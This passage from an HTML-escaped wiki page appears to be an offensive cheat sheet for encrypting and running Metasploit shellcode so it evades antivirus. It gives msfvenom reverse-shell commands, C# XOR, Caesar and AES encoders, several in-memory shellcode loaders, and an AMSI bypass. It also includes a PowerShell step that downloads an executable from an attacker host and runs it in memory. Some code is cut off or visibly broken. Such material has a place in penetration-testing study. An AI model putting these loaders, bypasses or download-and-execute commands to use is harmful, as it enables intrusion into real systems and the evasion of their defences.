                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp &#039;&#039;&#039;- Encrypt csharp shellcode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0xfc,0x48,0x83,0xe4 };&lt;br /&gt;
            // Encode the payload with XOR (fixed key)&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int totalCount = encoded.Length;&lt;br /&gt;
            for (int count = 0; count &amp;lt; totalCount; count++)&lt;br /&gt;
            {&lt;br /&gt;
                byte b = encoded[count];&lt;br /&gt;
                if ((count + 1) == totalCount) // Dont append comma for last item&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}&amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                else&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                if ((count + 1) % 15 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.Append(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine($&amp;quot;XOR payload (key: 0xfa):&amp;quot;);&lt;br /&gt;
            Console.WriteLine($&amp;quot;byte[] buf = new byte[{buf.Length}] {{\n{hex}\n}};&amp;quot;);&lt;br /&gt;
            //// Decode the XOR payload&lt;br /&gt;
            //for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            //{&lt;br /&gt;
            //    buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            //}&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode - &#039;&#039;&#039; Encrypt VBA shellcode&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if Word is running 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f vbapplication&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { 252, 72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 81, 72, 49, 210, 101, 72, 139 };&lt;br /&gt;
            // XOR encryption&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            byte XORKey = 250;&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(buf[i] ^ XORKey);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The XOR encoded payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Running encrypted shellcodes ===&lt;br /&gt;
&lt;br /&gt;
==== AES - Using python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/tree/master plackyhacker/Shellcode-Encryptor: A simple shell code encryptor/decryptor/executor to bypass anti virus. (github.com)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.IO;&lt;br /&gt;
namespace ProcessInjection&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        public enum Protection&lt;br /&gt;
        {&lt;br /&gt;
            PAGE_NOACCESS = 0x01,&lt;br /&gt;
            PAGE_READONLY = 0x02,&lt;br /&gt;
            PAGE_READWRITE = 0x04,&lt;br /&gt;
            PAGE_WRITECOPY = 0x08,&lt;br /&gt;
            PAGE_EXECUTE = 0x10,&lt;br /&gt;
            PAGE_EXECUTE_READ = 0x20,&lt;br /&gt;
            PAGE_EXECUTE_READWRITE = 0x40,&lt;br /&gt;
            PAGE_EXECUTE_WRITECOPY = 0x80,&lt;br /&gt;
            PAGE_GUARD = 0x100,&lt;br /&gt;
            PAGE_NOCACHE = 0x200,&lt;br /&gt;
            PAGE_WRITECOMBINE = 0x400&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
        private delegate Int32 ShellcodeDelegate();&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Shellcode();&lt;br /&gt;
        }&lt;br /&gt;
        static void Shellcode()&lt;br /&gt;
        {&lt;br /&gt;
            // attempt heuristics/behaviour bypass&lt;br /&gt;
            IntPtr mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
            if (mem == null)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // decrypt the base64 payload - change these to your own encrypted payload and key&lt;br /&gt;
            string payload = &amp;quot;sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&amp;quot;;&lt;br /&gt;
            string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
            byte[] buf = Decrypt(key, payload);&lt;br /&gt;
            unsafe&lt;br /&gt;
            {&lt;br /&gt;
                fixed(byte* ptr = buf)&lt;br /&gt;
                {&lt;br /&gt;
                    // set the memory as executable and execute the function pointer (as a delegate)&lt;br /&gt;
                    IntPtr memoryAddress = (IntPtr)ptr;&lt;br /&gt;
                    VirtualProtect(memoryAddress, (UIntPtr)buf.Length, (UInt32)Protection.PAGE_EXECUTE_READWRITE, out uint lpfOldProtect);&lt;br /&gt;
                    ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate));&lt;br /&gt;
                    func();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] Decrypt(string key, string aes_base64)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] tempKey = Encoding.ASCII.GetBytes(key);&lt;br /&gt;
            tempKey = SHA256.Create().ComputeHash(tempKey);&lt;br /&gt;
            byte[] data = Convert.FromBase64String(aes_base64);&lt;br /&gt;
            // decrypt data&lt;br /&gt;
            Aes aes = new AesManaged();&lt;br /&gt;
            aes.Mode = CipherMode.CBC;&lt;br /&gt;
            aes.Padding = PaddingMode.PKCS7;&lt;br /&gt;
            ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16));&lt;br /&gt;
            using (MemoryStream msDecrypt = new MemoryStream())&lt;br /&gt;
            {&lt;br /&gt;
                using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write))&lt;br /&gt;
                {&lt;br /&gt;
                    csDecrypt.Write(data, 0, data.Length);&lt;br /&gt;
                    return msDecrypt.ToArray();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static byte[] SubArray(byte[] a, int length)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] b = new byte[length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                b[i] = a[i];&lt;br /&gt;
            }&lt;br /&gt;
            return b;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Instruction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;lt;code&amp;gt;meterpreter_encryptor.py&amp;lt;/code&amp;gt; to create the encrypted base64 shellcode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@kali:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.1.228 -l 443 -f b64&lt;br /&gt;
[+] Generating MSFVENOM payload...&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
Found 1 compatible encoders&lt;br /&gt;
Attempting to encode payload with 1 iterations of x64/xor_dynamic&lt;br /&gt;
x64/xor_dynamic succeeded with size 667 (iteration=0)&lt;br /&gt;
x64/xor_dynamic chosen with final size 667&lt;br /&gt;
Payload size: 667 bytes&lt;br /&gt;
Saved as: ./msf.bin&lt;br /&gt;
[+] Encrypting the payload, key=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec...&lt;br /&gt;
[+] Base64 output:&lt;br /&gt;
sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Take the key and shellcode and insert it into [https://github.com/plackyhacker/ShellcodeEncryptor/blob/master/ProcessInjection.cs ProcessInjector.cs]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
// decrypt the base64 payload&lt;br /&gt;
string payload = &amp;quot;sZkMii [etc...]&amp;quot;;&lt;br /&gt;
string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compile the C# code into an executable (e.g., &amp;lt;code&amp;gt;metInject.exe&amp;lt;/code&amp;gt;) and serve it via a web server.&lt;br /&gt;
&lt;br /&gt;
Inject the executable into a remote PowerShell process:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# AMSI bypass&lt;br /&gt;
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like &amp;quot;*iutils&amp;quot;) {$c = $b}};$d = $c.GetFields(&#039;NonPublic,Static&#039;);ForEach($e in $d) {if ($e.Name -like &amp;quot;*itFailed&amp;quot;) {$f = $e}};$f.SetValue($null,$true)&lt;br /&gt;
$bytes = (Invoke-WebRequest &amp;quot;http://192.168.1.228/metInject.exe&amp;quot;).Content;&lt;br /&gt;
$assembly = [System.Reflection.Assembly]::Load($bytes);&lt;br /&gt;
$entryPointMethod = $assembly.GetType(&#039;ProcessInjection.Program&#039;, [Reflection.BindingFlags] &#039;Public, NonPublic&#039;).GetMethod(&#039;Main&#039;, [Reflection.BindingFlags] &#039;Static, Public, NonPublic&#039;);&lt;br /&gt;
$entryPointMethod.Invoke($null, (, [string[]] (&#039;&#039;, &#039;&#039;)));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES - Csharp ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
&lt;br /&gt;
/*-----------------------------------------------&lt;br /&gt;
 * Simple-Loader.exe: Simple Shellcode Loader   |&lt;br /&gt;
 *                                              |&lt;br /&gt;
 * Author: @jfaust0                             |&lt;br /&gt;
 * Contact: joshua.faust@sevrosecurity.com      |&lt;br /&gt;
 * Website: SevroSecurity.com                   |&lt;br /&gt;
 * ---------------------------------------------*/&lt;br /&gt;
&lt;br /&gt;
namespace goodTimes&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // CHANGE THESE VALUES --&amp;gt; Seriosuly, these should not be hard coded!&lt;br /&gt;
        public static byte[] key = new byte[] { 0x33, 0xED, 0x8A, 0x15, 0xD9, 0x26, 0xC5, 0x1C, 0x95, 0xF1, 0x4C, 0x11, 0xE4, 0x37, 0xD4, 0x5B, 0xE8, 0xDD, 0x8E, 0xED, 0xDC, 0x01, 0x38, 0xC7 };&lt;br /&gt;
        public static byte[] iv = new byte[] { 0x2B, 0x6F, 0xD1, 0xE3, 0x59, 0x6F, 0xC3, 0x31, 0x62, 0xC9, 0x98, 0x55, 0x7B, 0x00, 0xCB, 0xD1 };&lt;br /&gt;
        // MAIN&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String app_name = AppDomain.CurrentDomain.FriendlyName;&lt;br /&gt;
            String usage = $&amp;quot;Usage: {app_name} &amp;quot;;&lt;br /&gt;
            // ENCRYPT PAYLOAD&lt;br /&gt;
            if (args.Length == 1)&lt;br /&gt;
            {&lt;br /&gt;
                if (!File.Exists($@&amp;quot;{args[0]}&amp;quot;))&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;[!] File Does Not Exist!&amp;quot;);&lt;br /&gt;
                    Environment.Exit(1);&lt;br /&gt;
                }&lt;br /&gt;
                Console.WriteLine(&amp;quot;[i] Encrypting Data&amp;quot;);&lt;br /&gt;
                // Read in MetaSploit Byte[] Code from File&lt;br /&gt;
                String fileData = System.IO.File.ReadAllText($@&amp;quot;{args[0]}&amp;quot;);&lt;br /&gt;
                String tmp = (fileData.Split(&#039;{&#039;)[1]).Split(&#039;}&#039;)[0];&lt;br /&gt;
                // Translate to Byte Array&lt;br /&gt;
                string[] s = tmp.Split(&#039;,&#039;);&lt;br /&gt;
                byte[] data = new byte[s.Length];&lt;br /&gt;
                for (int i = 0; i  1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(usage);&lt;br /&gt;
                Environment.Exit(1);&lt;br /&gt;
            }&lt;br /&gt;
            // RUN PAYLOAD&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                // msfvenom -p windows/exe cmd=calc.exe -f csharp --&amp;gt; CHANGE ME!&lt;br /&gt;
                String hiphop = &amp;quot;ZxOy1BksVfrlq8wcmyHY8GwwiBZd8NGrGQiKvx15hcv9sQ9apoO6NGbNBxAeS4NLHSz4owcdPgQTTejYJr80Ke4ynoy41yrc5RD0uqt1ppyxDAeYGATQy7xFbN247gwFee5cPZAFyBzbI6DvOLBFSJiP64kv5T7pX3iapVsX7ORmg7Ubfa1M9PcYNm5qzS9dyHxFdeD578YA6DGYC0UPzmeDXB11R0MWmPAkRGFftQp + YdurMHce1R4HC9bQ0gtm / MLHIP / UTPbIUtwrEAqQ / SYJcJCmeCPynYLNYrn9ae1xvCBokUTgdK + gpUa58ss2F4F60p1ujZNHmQ1Bn39WZmK5R4wSVmdFJpKRZXeGycAziEVlGjsS7XDKsvQvWvaZKqealuTWxH9q6n++zrRJZ0TBorjcFHKJZOLK5bNgKx0DbmFHXz + KBH400o&amp;quot;;&lt;br /&gt;
                byte[] de_data = Decrypt(Convert.FromBase64String(hiphop), key, iv);&lt;br /&gt;
                nonsense(de_data);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Shell Code Loader&lt;br /&gt;
        public static bool nonsense(byte[] shellcode)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,&lt;br /&gt;
                    MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
                Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);&lt;br /&gt;
                IntPtr hThread = IntPtr.Zero;&lt;br /&gt;
                UInt32 threadId = 0;&lt;br /&gt;
                IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
                hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);&lt;br /&gt;
                WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
                return true;&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.Error.WriteLine(&amp;quot;exception: &amp;quot; + e.Message);&lt;br /&gt;
                return false;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Used to Load Shellcode into Memory:&lt;br /&gt;
        private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,&lt;br /&gt;
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern IntPtr CreateThread(&lt;br /&gt;
          UInt32 lpThreadAttributes,&lt;br /&gt;
          UInt32 dwStackSize,&lt;br /&gt;
          UInt32 lpStartAddress,&lt;br /&gt;
          IntPtr param,&lt;br /&gt;
          UInt32 dwCreationFlags,&lt;br /&gt;
          ref UInt32 lpThreadId&lt;br /&gt;
          );&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 WaitForSingleObject(&lt;br /&gt;
          IntPtr hHandle,&lt;br /&gt;
          UInt32 dwMilliseconds&lt;br /&gt;
        );&lt;br /&gt;
&lt;br /&gt;
        public static byte[] Encrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, encryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        public static byte[] Decrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, decryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)&lt;br /&gt;
        {&lt;br /&gt;
            using (var ms = new MemoryStream())&lt;br /&gt;
            using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))&lt;br /&gt;
            {&lt;br /&gt;
                cryptoStream.Write(data, 0, data.Length);&lt;br /&gt;
                cryptoStream.FlushFinalBlock();&lt;br /&gt;
                return ms.ToArray();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Csharp shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
            uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes,&lt;br /&gt;
            uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle,&lt;br /&gt;
            UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfe, 0x4a,.....&lt;br /&gt;
};&lt;br /&gt;
            for(int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)(((uint)buf[i] - 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,&lt;br /&gt;
                IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Change the XOR vba runner with this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
For i = 0 To UBound(buf)&lt;br /&gt;
buf(i) = buf(i) - 2&lt;br /&gt;
Next i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
namespace rev&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
